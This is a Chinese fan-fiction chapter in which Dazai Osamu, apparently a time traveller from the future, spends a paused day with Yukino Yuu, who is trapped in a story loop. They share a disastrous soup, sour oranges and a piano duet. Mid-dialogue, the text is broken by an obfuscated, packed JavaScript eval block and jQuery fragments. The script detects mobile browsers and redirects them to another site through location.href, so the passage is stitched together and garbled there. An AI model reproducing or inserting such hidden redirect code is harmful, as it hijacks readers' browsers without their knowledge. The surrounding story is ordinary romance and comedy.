太宰治这个人,真是很猫猫啊。


    尤其是进入家门后他那像是回到自己熟悉领地的姿态,就差把桌面上的花瓶推下去了。


    “为什么这么看着人家啦夕酱!”鸢眸青年故作娇羞,“放心吧,你未来和现在不一样的。”


    “未来的我会怎么做?”


    “这个嘛~”太宰治已经脱掉了长款风衣,露出自己修身的衬衫和马甲,“会在看到我这样穿的时候把手从我衬衫下摆伸进去?”


    雪野夕大惊失色:“你要不要听听你在说什么啊!”


    “哎?领口也完全接受哦。”


    “……闭嘴!”


    “但夕酱脸红了哦~”


    “我这是、生气!”


    每天达成一次犯贱小成就的太宰治心满意足,老老实实坐回沙发上,“夕酱也感受到了吧?”


    “只要靠近我,你的能力就会失去效果。”


    “你不会要告诉我,这个能力的名字叫做【人间失格】吧?”雪野夕托腮,“听上去像骗子。”


    太宰治:“……”


    “这个不重要。”他刻意哽咽嗓音,“关键是我在这里停留的三天,夕酱可以摆脱所谓的‘剧情’自由活动哦~”


    “如果是真的……算你有点用。”


    “什么嘛!我很有用的!”


    “比如说?”


    “嗯……帮夕酱洗衣做饭暖……哎哎,我不说了嘛!”


    正好时间来到晚上七点半,于是太宰治自告奋勇来到厨房,表示自己可以大展身手做顿饭给雪野夕尝尝。


    雪野夕同意了。


    一来她觉得自己能复活,而来她是真的饿了。


    很快她就知道自己还是饿得太早了。


    因为太宰治端上来一碗……看上去卖相相当不错的乳白色鸡汤,闻起来似乎也没什么异常。


    如果是未来的雪野夕,她一定会微笑着婉拒。


    但十五岁的头铁雪野夕端起来喝了一口——


    “为什么!你说为什么作者要弃坑!”


    她把眼泪全抹在太宰治的衬衫上,“你说作者是不是宇宙第一超级无敌大坏蛋!”


    雪野夕哭一声喝一口鸡汤,哭一声喝一口鸡汤,到了后来太宰治都开始劝她不要再喝了。


    “不!你不懂!”她将碗底的汤一饮而尽,“喝下去之后……”


    “我好像看到我们家的房顶被偷走了……哎你怎么长出猫耳朵了啊?”


    “让我摸摸!”


    同样喝完一碗汤的太宰治老老实实把头伸过去,摸摸头什么的,他已经彻底免疫,就算是现场喵喵几声都毫无压力的。


    雪野夕一把抱住他的脑袋,用一种刻意压低的嗓音感叹,“你知道吗?”


    “什么?”


    “其实……回顾我的人生,除了耻辱,一无所有!”*


    她开始严肃且颠三倒四地背诵些什么——


    “……然而,许多女性却凭借自己的本能……我无法启齿的孤独……我被女人们趁虚而入……”


    “所以我真是个能守住恋爱秘密的男人啊!”*


    “我太理解你了其实!”雪野夕两眼放光,“我惧怕死亡的结局,厌倦重复的命运,但在这个世界上,我随波逐流,找不到自己存在的意义。”


    “如果我只是一个被创作出来的物品,那么还需要每日努力地活着吗?”


    正在眼冒金星的太宰治听到了熟悉的发言,随后手忙脚乱地找手机,“我要……录下这一段……”


    因为在未来,他们斗嘴的时候,雪野夕总会在她说不过太宰治的时候气急败坏地引用他十五岁时的名人名言——“某些人小时候还觉得森先生有当王的潜质呢!”


    “有当~王~的~潜~质~”


    现在只要他录下这段话……以后就可以反驳夕酱,“我~随~波~逐~流~”


    说完一定会被夕酱挂在院子外面示众吧!


    即使如此!他也一定要说一次看看!


    .


    两个喝了奇妙的活力清炖鸡鸡汤后头昏脑胀的人,第二天一个在沙发一个在地毯上双双醒来。


    “你下毒了?”感觉自己落枕的雪野夕痛苦地捂住脖子,好像胳膊也麻了,但今天好像真没走剧情……


    “是因为昨天看到夕酱没开封的洗涤剂,忍不住现场发挥了下嘛。”太宰治从地上爬起来,“但从味道上来说……”


    两人面面相觑,一个也没记住昨晚的鸡汤到底是什么味道。


    “算了,还是吃点现成的吧。”雪野夕从桌子上摸起一个橘子剥开,“分你一半?”


    她掰了一瓣放进嘴里,“还挺甜。”


    太宰治接过她递过来的下一瓣,“确实很甜。”


    “是啊,你还要吗?”


    “那就再来一瓣吧~”


    太宰治面不改色地连吃三瓣橘子,盯着他的雪野夕终于忍不住往自己嘴里又塞了一口,下一秒,两人双双痛苦面具。


    “好酸!”


    “好酸!”


    “你居然演戏骗我!”雪野夕恶人先告状,“明明就很酸嘛!”


    “是夕酱先骗人的啊!”太宰治鼓着嘴化解舌头上的酸味,“甜的橘子夕酱还会递给我嘛!”


    于是在经历了食物中毒、空腹吃酸橘子吵架、各自灌下一大杯温水后,奄奄一息的两人终于能瘫在一起握手言和。


    “虽然剧情的控制暂停,但外面的世界也会进入静止状态,所以我们甚至都不能点外卖……”


    抱着抱枕的太宰治就差表演一个声泪俱下,“夕酱,你真的忍心看到你如此帅气的未来的丈夫就这么被饿死吗?”


    雪野夕:“……”


    有病吧!未来的我。


    如果只是看脸的话我不会原谅你的!


    但是在没有获得太宰治灵光一闪创新菜式的抵抗性上,她对自己很没信心。


    只能一脸生气地爬起来做饭。


    看着雪野夕一脸“你等着”的表情走进厨房,直到看不见她的身影,太宰治才若有所思地拿起昨天被丢进沙发底下的笔记本。


    费奥多尔……哼。


    “夕酱,喜欢小提琴吗?”


    吃完饭后,老老实实洗碗的太宰治没头没尾地问出一句。


    “还好?毕竟我的设定就是会各种乐器。”


    “可夕酱不是设定中的人呀。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13938086|140283||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”他直视着她,“夕酱是独一无二的。”


    “虽然我无法透露未来,但雪野夕曾经告诉过我哦。”


    “生命本质上是没有意义的,如果一定要去寻求意义,那也是只关乎于自己。”


    “所以雪野夕不是设定好的、不是只属于一个故事的‘恶毒女配’、更不应该是永远被困在循环里的人。”


    跳出剧情的循环,在这个被暂停的世界里,来自未来的恋人告诉她——


    “雪野夕只属于她自己。”


    她手心端着的杯子一阵摇晃,下一秒却被他坚定地握住,并在其中添上温度合适的清水,“这次不要噎到了哦。”


    “或者明早可以面包片蘸栗子酱吃?”


    “……等明早我就往你的面包上抹致死量的栗子酱。”


    “噎死我吗?这好像还是我十五岁的时候灵光一闪才有的天才自杀想法呢。”


    “真不愧是夕酱,和我心有灵犀。”太宰治鼓掌,“所以夕酱其实不喜欢小提琴的对吧?”


    “重点其实是这个吗?”


    “人家也是在进行家庭保卫战啦!”


    “那就略过小提琴的话题吧。”她很浅地笑了下,“我教你弹钢琴怎么样?”


    客厅里放的那架钢琴看上去已经有些年头,演奏的痕迹在它身上尤为明显。


    “据说是家传的。”


    “我也很荣幸参与夕酱的生活。”太宰治也弯起眼睛,“未来的夕酱曾经教过我哦。”


    “所以请允许我和你合奏吧?”


    他好像对家里的布置很熟悉,所以穿越的时候莫非能带着房子一起穿越?


    “穿过世界壁垒是非常困难的,所以等到以后,夕酱说不定并不会记得现在的一切。”


    所以这三天的时光,他会好好记住。


    并不会记得吗?雪野夕按下琴键,食指在雪白的钢琴上轻轻划动两下……也许自己可以写下来?


    一时间,谁也没有再说话。


    雪野夕曾经强迫自己去讨厌喜欢的一切,因为那时她认为这些东西不过是人为设定,本质上是想让她在痛苦的循环中沉溺于虚幻轻松的海妖歌声。


    而她真正想做的事,却无法被实现。


    眼下却是难得一见的平和时光。


    不约而同被选择的《命运交响曲》落幕,风从阳台上吹进来,米白纱帘飞扬,风铃轻响,未装订的谱子飞起,在空中发出细微的“哗啦”声。


    像是把屋内的沉郁也卷起来,最后润物细无声地落在地下。


    不停转动的钟表时针与分针指向上午十点整,而她已经很久没有将目光投向过它了。


    太宰治逆光坐在她外侧,发尾的绿色丝带落在阳光里,撑着头问她,“今天真是难得的好天气,不是吗?”


    钟表上的指针还在动,这次她看清了秒针,它不疾不徐地按照时间走过一圈,最后是分针悄无声息地前进一格。


    是啊,今天怎么不算是个好天气呢。


    对于一个深陷循环中的人,钟表没有意义。


    但现在有什么东西悄悄改变了。


    也许是因为,遇见你之后,我的时钟才真正意义上开始转动。